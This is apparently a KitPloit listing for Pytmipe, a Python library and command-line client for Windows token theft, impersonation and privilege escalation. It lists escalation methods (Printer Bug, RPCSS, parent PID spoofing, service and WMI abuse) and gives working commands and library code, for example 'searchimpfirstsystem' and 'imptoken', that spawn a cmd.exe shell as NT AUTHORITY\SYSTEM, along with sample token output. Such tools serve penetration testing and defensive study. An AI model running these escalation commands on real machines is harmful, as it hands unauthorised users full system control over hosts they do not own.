Pytmipe - Python Library And Client For Token Manipulations And Impersonations For Privilege Escalation On Windows

2020-12-04T20:30:00
ID KITPLOIT:8403443702167316386
Type kitploit
Reporter KitPloit
Modified 2020-12-04T20:30:00

Description

PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) is a Python 3 library for manipulating Windows tokens and managing impersonations in order to gain more privileges on Windows. TMIPE is the python 3 client which uses the _ pytmipe _ library.

Content

  • A python client : _ tmipe _ ( _ python3 tmipe.py _ )
  • A python library : _ pytmipe _ . Useful for including this project in another one
  • pytinstaller examples , for getting standalones exes

Docs

  • Slides "Windows Token Manipulation, Impersonation & Privilege Escalation" (English): link

  • Article in MISC 112 (French): link

Main features
Method | Required Privilege(s) | OS (no exhaustive) | Direct target (max)
---|---|---|---
Token creation & impersonation | username & password | All | local administrator
Token Impersonation/Theft | _ SeDebugPrivilege _ | All | _ nt authority\system
Parent PID spoofing (handle inheritance) | _ SeDebugPrivilege _ | >= Vista | _ nt authority\system

Service (SCM) | Local administrator (and high integrity level if UAC enabled) | All | _ nt authority\system _ or domain account
WMI Event | Local administrator (and high integrity level if UAC enabled) | All | _ nt authority\system
« Printer Bug » LPE | _ SeImpersonatePrivilege _ (Service account) | Windows 8.1, 10 & Server 2012R2/2016/2019 | _ nt authority\system

RPCSS Service LPE | _ SeImpersonatePrivilege _ (Service account) | Windows 10 & Server 2016/2019 | _ nt authority\system _

Capabilities

The following non-exhaustive list shows some features implemented in _ pytmipe _ library:

  • Token and privileges management:
    • get, enable or disable privilege(s) on token for current or remote thread
    • get local or remote token information
    • get effective token for current thread (impersonation or primary token)
  • get many information about selected token(s):
    • elevation type, impersonation type, Linked token with details, SID, ACLs, default groups, primary group, owner, privileges, source
    • etc
  • List all tokens which are accessible (primary & impersonation tokens) from current thread:
    • 2 different methods implemented: "thread" method and "handle" method (favorite)
    • check if token can be impersonated
    • get information about each token (elevation type, impersonation type, Linked token, SID, etc)
    • get all tokens which are accessible by account name (SID)
  • Impersonate a token or user:
    • Make Token and Impersonate (requires credentials of user)
    • Token impersonation/theft (specific privileges are required): impersonate a chosen token
    • Create Process with a token (specific privileges are required): impersonate a chosen token and create new process
    • Impersonate first _ nt authority\system _ token found
    • impersonate primary token of remote process with pid
  • Escalation methods:
    • Parent PID Spoofing - Handle Inheritance
    • Service Manager via direct command or named pipe impersonation: local administrator to _ nt authority\system _ (or orther privileged account)
    • Task scheduler via direct command or named pipe impersonation: local administrator to _ nt authority\system _
    • WMI job via direct command or named pipe impersonation: local administrator to _ nt authority\system _
    • Printer Bug : _ SeImpersonatePrivilege _ to _ nt authority\system _
    • RPCSS : _ SeImpersonatePrivilege _ to _ nt authority\system _
    • Re enable privileges via task scheduling and named pipe impersonation

Dependencies

_ ctypes _ is used a maximum of time. Many features of _ pywin32 _ have been re developped in pytmipe to avoid the use of _ pywin32 _ for better portability. However, Task Scheduler module still uses _ pywin32 _ (more precisely _ pythoncom _ ) by lack of time. All other modules uses ctypes only.

HOW TO USE

For python client (named _ tmipe _ ):

python.exe tmipe.py -h  
usage: tmipe.py [-h] [--version]  
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}  
                ...

                      **  
    888888  8b    d8  88  88""Yb  888888  
      88    88b  d88  88  88__dP  88__  
      88    88YbdP88  88  88"""   88""  
      88    88 YY 88  88  88      888888  
-------------------------------------------  
Token Manipulation, Impersonation and  
     [Privilege Escalation](<https://www.kitploit.com/search/label/Privilege%20Escalation> "Privilege Escalation" ) (Tool)  
-------------------------------------------  
By Quentin HARDY ([email protected])

positional arguments:  
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imp   token,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command  
    cangetadmin          Check if user can get admin access  
    printalltokens       Print all tokens accessible from current thread  
    printalltokensbyname  
                         Print all tokens accessible from current thread by account name  
    printalltokensbypid  Print all tokens accessible from current thread by pid  
    printsystemtokens    Print all system tokens accessible from current  
    searchimpfirstsystem  
                         search and impersonate first system token  
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe  
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe  
    printerbug           exploit the "printer bug" for getting system shell  
    rpcss                exploit "rpcss" for getting system shell  
    spoof                parent PID Spoofing ("handle inheritance)"  
    impuser              create process with creds with impersonation  
    runas                create process with creds as runas  
    scm                  create process with Service Control Manager

optional arguments:  
  -h, --help             show this help message and exit  
  --version              show program's version number and exit

For python library (named _ pytmipe _ ), see source code and examples. Normally, I have well documented the source code... Most of functions are documented.

For pyinstaller examples and standalones, see files in _ src/examples/ _ folders.

Examples

If you want to know how to use _ pytimpe _ library, see _ src/examples _ folder for many examples.

Example 1: get _ nt authority\system _

For impersonating the first _ system _ token and get a cmd.exe prompt as _ system _ from python client ( _ tmipe _ ):

python.exe tmipe.py searchimpfirstsystem -vv

For doing the same thing thanks to the _ pytmipe _ library directly, see the _ src/examples/searchAndImpersonateFirstSystemToken.py _ :

from impersonate import Impersonate  
from utils import configureLogging

configureLogging()  
imp = Impersonate()  
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

It will open a cmd.exe prompt as _ system _ if the current Windows user has required rights.

Of course, from this source code, you can create a standlone exe with _ pyinstaller _ .

Example 2: get tokens

For getting primary and impersonation(s) tokens used in current process:

python.exe tmipe.py printalltokens --current --full --linked

Output:

- PID: 3212  
------------------------------  
  - PID: 3212  
  - type: Primary (1)  
  - token: 764  
  - hval: None  
  - ihandle: None  
  - sid: S-1-5-18  
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}  
  - intlvl: System  
  - owner: S-1-5-32-544  
  - Groups:  
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)  
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)  
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)  
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)  
  - Privileges (User Rights):  
    - SeAssignPrimaryTokenPrivilege: Enabled  
    [...]  
    - SeTrustedCredManAccessPrivilege: Enabled  
  - issystem: True  
  -    sessionID: 1  
  - elevationtype: Default (1)  
  - iselevated: True  
  - Linked Token: None  
  - tokensource: b'*SYSTEM*'  
  - primarysidgroup: S-1-5-18  
  - isrestricted: False  
  - hasrestricitions: True  
  - Default DACL:  
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}  
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}  
  [...]  
  - Mandatory Policy: NO_WRITE_UP

For getting all tokens which are accessible from current thread, organized by pid, when the impersonation is possible only:

python.exe tmipe.py printalltokensbypid --imp-only

Output:

[...]  
- PID 4276:  
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)  
- PID 7252:  
        - None  
- PID 1660:  
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)  
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)  
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)  
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)  
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)  
[...]

If you want to do this operation with the _ pytmipe _ library, it is easy too:

from impersonate import Impersonate  
from utils import configureLogging

configureLogging()  
imp = Impersonate()  
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Example 3: impersonate token

You can impersonate a selected token.

First step, get all tokens according to your filters ( _ system _ tokens and tokens which can be impersonated by current thread):

python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Output:

[...]  
- PID: 2288  
------------------------------  
  - PID: 2288  
  - type: Impersonation (2)  
  - token: 2504  
  - ihandle: 118  
  - sid: S-1-5-18  
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}  
  - intlvl: System  
  - owner: S-1-5-18  
  - issystem: True  
  - elevationtype: Default (1)  
  - iselevated: True  
  - linkedtoken: None  
  - implevel: Impersonate (2)  
  - appcontainertoken: False  
  [...]  
  - primarysidgroup: S-1-5-18  
  - isrestricted: False  
  - hasrestricitions: True  
  - Mandatory Policy: VALID_MASK  
  - canimpersonate: True  
[...]

This previous output shows an impersonation token located in the pid 2288 (ihandle 118), which has an integrity level _ system _ . It is possible to impersonate this specific token with the following command:

python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

This previous command opens a cmd.exe as _ nt authority\system _ .

This can be done with the _ pytmipe _ library too. Following source code impersonates the first _ system _ token available, prints effective token and it stops impersonation:

from impersonate import Impersonate  
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,  
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},  
                                          _useThreadMethod=False)  
if allTokens == {} or allTokens==None:  
    print("No one token found for impersonation")  
else:  
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'  
    firstIHandle = allTokens[pid][0]['ihandle']  
    imp.printThisToken(allTokens, pid, firstIHandle)  
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)  
    print("Current Effective token for current thread after impersonation:")  
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)  
    imp.terminateImpersonation()  
    print("Current Effective token for current thread (impe   rsonation finished):")  
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Download Pytmipe